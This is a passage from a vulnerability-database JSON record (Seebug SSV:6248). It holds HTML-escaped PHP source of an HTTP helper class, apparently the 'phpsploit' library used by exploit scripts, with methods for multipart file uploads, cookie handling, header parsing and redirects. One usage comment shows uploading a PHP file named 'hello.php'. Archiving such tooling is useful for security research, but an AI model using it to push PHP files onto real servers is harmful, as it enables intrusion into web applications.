bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_transfert&nbsp;=>&nbsp;\\\"binary\\\",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=>&nbsp;\\\"hello.php\\\",\r\n\t&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=>&nbsp;\\\"<?php&nbsp;echo&nbsp;\\':)\\';&nbsp;?>\\\"));\r\n\t&nbsp;*&nbsp;$this->formdata($array);\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;array&nbsp;$array\r\n\t&nbsp;*&nbsp;@return&nbsp;$server_response\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;formdata($array)\r\n\t{\r\n\t\t$this->target($array[frmdt_url]);\r\n\t\t$this->method=\\\"formdata\\\";\r\n\t\t$this->data=\\'\\';\r\n\t\tif(!isset($array[frmdt_boundary]))&nbsp;$this->boundary=\\\"phpsploit\\\";\r\n\t\telse&nbsp;$this->boundary=$array[frmdt_boundary];\r\n\t\tforeach($array&nbsp;as&nbsp;$key&nbsp;=>&nbsp;$value)\r\n\t\t{\r\n\t\t\tif(!preg_match(\\\"#^frmdt_(boundary|url)#\\\",$key))\r\n\t\t\t{\r\n\t\t\t\t$this->data&nbsp;.=&nbsp;\\\"-----------------------------\\\".$this->boundary.\\\"\r\n\\\";\r\n\t\t\t\t$this->data&nbsp;.=&nbsp;\\\"Content-Disposition:&nbsp;form-data;&nbsp;name=\\\"\\\".$key.\\\"\\\";\\\";\r\n\t\t\t\tif(!is_array($value))\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->data&nbsp;.=&nbsp;\\\"\r\n\r\n\\\".$value.\\\"\r\n\\\";\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t$this->data&nbsp;.=&nbsp;\\\"&nbsp;filename=\\\"\\\".$array[$key][frmdt_filename].\\\"\\\";\r\n\\\";\r\n\t\t\t\t\tif(isset($array[$key][frmdt_type]))&nbsp;$this->data&nbsp;.=&nbsp;\\\"Content-Type:&nbsp;\\\".$array[$key][frmdt_type].\\\"\r\n\\\";\r\n\t\t\t\t\tif(isset($array[$key][frmdt_transfert]))&nbsp;$this->data&nbsp;.=&nbsp;\\\"Content-Transfer-Encoding:&nbsp;\\\".$array[$key][frmdt_transfert].\\\"\r\n\\\";\r\n\t\t\t\t\t$this->data&nbsp;.=&nbsp;\\\"\r\n\\\".$array[$key][frmdt_content].\\\"\r\n\\\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$this->data&nbsp;.=&nbsp;\\\"-----------------------------\\\".$this->boundary.\\\"--\r\n\\\";\r\n\t\treturn&nbsp;$this->sock();\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response\r\n\t&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->getcontent($this->get(\\\"http://localhost/\\\"));\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->getcontent();\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response\r\n\t&nbsp;*&nbsp;@return&nbsp;$onlythecontent\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;getcontent($code=\\'\\')\r\n\t{\r\n\t\tif(empty($code))&nbsp;$code&nbsp;=&nbsp;$this->recv;\r\n\t\t$content&nbsp;=&nbsp;explode(\\\"\r\n\\\",$code);\r\n\t\t$onlycode&nbsp;=&nbsp;\\'\\';\r\n\t\tfor($i=1;$i<count($content);$i++)\r\n\t\t{\r\n\t\t\tif(!preg_match(\\\"/^(S*):/\\\",$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;\r\n\t\t\tif($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].\\\"\r\n\\\";\r\n\t\t}\r\n\t\treturn&nbsp;$onlycode;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response\r\n\t&nbsp;*&nbsp;without&nbsp;the&nbsp;content.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->getheader($this->post(\\\"http://localhost/x.php\\\",\\\"x=1&z=2\\\"));\r\n\t&nbsp;*&nbsp;or\r\n\t&nbsp;*&nbsp;$this->getheader();\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response\r\n\t&nbsp;*&nbsp;@return&nbsp;$onlytheheaders\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;getheader($code=\\'\\')\r\n\t{\r\n\t\tif(empty($code))&nbsp;$code&nbsp;=&nbsp;$this->recv;\r\n\t\t$header&nbsp;=&nbsp;explode(\\\"\r\n\\\",$code);\r\n\t\t$onlyheader&nbsp;=&nbsp;$header[0].\\\"\r\n\\\";\r\n\t\tfor($i=1;$i<count($header);$i++)\r\n\t\t{\r\n\t\t\tif(!preg_match(\\\"/^(S*):/\\\",$header[$i]))&nbsp;break;\r\n\t\t\t$onlyheader&nbsp;.=&nbsp;$header[$i].\\\"\r\n\\\";\r\n\t\t}\r\n\t\treturn&nbsp;$onlyheader;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.\r\n\t&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;\\\"Set-Cookie\\\"&nbsp;header&nbsp;in&nbsp;the&nbsp;\\\"Cookie\\\"\r\n\t&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don\\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response\r\n\t&nbsp;*/\r\n\tprivate&nbsp;function&nbsp;getcookie($code)\r\n\t{\r\n\t\t$carr&nbsp;=&nbsp;explode(\\\"\r\n\\\",str_replace(\\\"\r\n\\\",\\\"\r\n\\\",$code));\r\n\t\tfor($z=0;$z<count($carr);$z++)\r\n\t\t{\r\n\t\t\tif(preg_match(\\\"/set-cookie:&nbsp;(.*)/i\\\",$carr[$z],$cookarr))\r\n\t\t\t{\r\n\t\t\t\t$cookie[]&nbsp;=&nbsp;preg_replace(\\\"/expires=(.*)(GMT||UTC)(S*)$/i\\\",\\\"\\\",preg_replace(\\\"/path=(.*)/i\\\",\\\"\\\",$cookarr[1]));\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tfor($i=0;$i<count($cookie);$i++)\r\n\t\t{\r\n\t\t\tpreg_match(\\\"/(S*)=(S*)(|;)/\\\",$cookie[$i],$matches);\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];\r\n\t&nbsp;&nbsp;&nbsp;&nbsp;\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->addcookie($cookn,$cookv);\r\n\t\t}\r\n&nbsp;&nbsp;&nbsp;&nbsp;}\r\n\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.\r\n\t&nbsp;*&nbsp;You&nbsp;don\\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it.\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg\r\n\t&nbsp;*/\r\n\tprivate&nbsp;function&nbsp;target($urltarg)\r\n\t{\r\n\t\tif(!preg_match(\\\"/^http://(.*)//\\\",$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;\\\"/\\\";\r\n\t\t$this->url=$urltarg;\r\n\t\t\r\n\t\t$array&nbsp;=&nbsp;explode(\\\"/\\\",str_replace(\\\"http://\\\",\\\"\\\",preg_replace(\\\"/:(d+)/\\\",\\\"\\\",$urltarg)));\r\n\t\t$this->host=$array[0];\r\n\r\n\t\tpreg_match(\\\"/:(d+)//\\\",$urltarg,$matches);\r\n\t\t$this->port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];\r\n\t\t\r\n\t\t$temp&nbsp;=&nbsp;str_replace(\\\"http://\\\",\\\"\\\",preg_replace(\\\"/:(d+)/\\\",\\\"\\\",$urltarg));\r\n\t\tpreg_match(\\\"//(.*)//\\\",$temp,$matches);\r\n\t\t$this->path=str_replace(\\\"//\\\",\\\"/\\\",\\\"/\\\".$matches[1].\\\"/\\\");\r\n\t\r\n\t\tif($this->port&nbsp;>&nbsp;65535)&nbsp;die(\\\"Error:&nbsp;Invalid&nbsp;port&nbsp;number\\\");\r\n\t}\r\n\t\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will\r\n\t&nbsp;*&nbsp;extract&nbsp;all&nbsp;\\\"Set-Cookie\\\"&nbsp;headers&nbsp;values\r\n\t&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;\\\"Cookie\\\"&nbsp;header\r\n\t&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;$this->cookiejar(1);&nbsp;//&nbsp;enabled\r\n\t&nbsp;*&nbsp;$this->cookiejar(0);&nbsp;//&nbsp;disabled\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;cookiejar($code)\r\n\t{\r\n\t\tif($code===0)&nbsp;$this->cookiejar=\\'\\';\r\n\t\tif($code===1)&nbsp;$this->cookiejar=1;\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->getcookie($code);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/**\r\n\t&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will\r\n\t&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->allowredirection(1);&nbsp;//&nbsp;enabled\r\n\t&nbsp;*&nbsp;$this->allowredirection(0);&nbsp;//&nbsp;disabled\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;@return&nbsp;$this->get($locationresponse)\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;allowredirection($code)\r\n\t{\r\n\t\tif($code===0)&nbsp;$this->allowredirection=\\'\\';\r\n\t\tif($code===1)&nbsp;$this->allowredirection=1;\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(preg_match(\\\"/(location|content-location|uri):&nbsp;(.*)/i\\\",$code,$codearr))\r\n\t\t\t{\r\n\t\t\t\t$location&nbsp;=&nbsp;str_replace(chr(13),\\'\\',$codearr[2]);\r\n\t\t\t\tif(!eregi(\\\"://\\\",$location))\r\n\t\t\t\t{\r\n\t\t\t\t\treturn&nbsp;$this->get(\\\"http://\\\".$this->host.$this->path.$location);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\treturn&nbsp;$this->get($location);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\treturn&nbsp;$code;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t\r\n\t/**\r\n\t&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:\r\n\t&nbsp;*&nbsp;\r\n\t&nbsp;*&nbsp;$this->reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned\r\n\t&nbsp;*&nbsp;$this->reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned\r\n\t&nbsp;*&nbsp;$this->reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters\r\n\t&nbsp;*\r\n\t&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func\r\n\t&nbsp;*/\r\n\tpublic&nbsp;function&nbsp;reset($func=\\'\\')\r\n\t{\r\n\t\tswitch($func)\r\n\t\t{\r\n\t\t\tcase&nbsp;\\\"header\\\":\r\n\t\t\t$this->header=\\'\\';\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase&nbsp;\\\"cookie\\\":\r\n\t\t\t$this->cookie=\\'\\';\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tdefault:\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->cookiejar=\\'\\';\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->header=\\'\\';\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->cookie=\\'\\';\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->allowredirection=\\'\\';&nbsp;\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->agent=\\'\\';\r\n\t\t&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;\r\n\t\t}\r\n\t}\r\n}\r\n?>\r\n\r\n&nbsp;\n ", "id": "SSV:6248", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T22:09:18", "reporter": "Root", "enchantments": {"score": {"value": 0.5, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.5}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645442255, "score": 1659785532, "epss": 1678851499}}

{}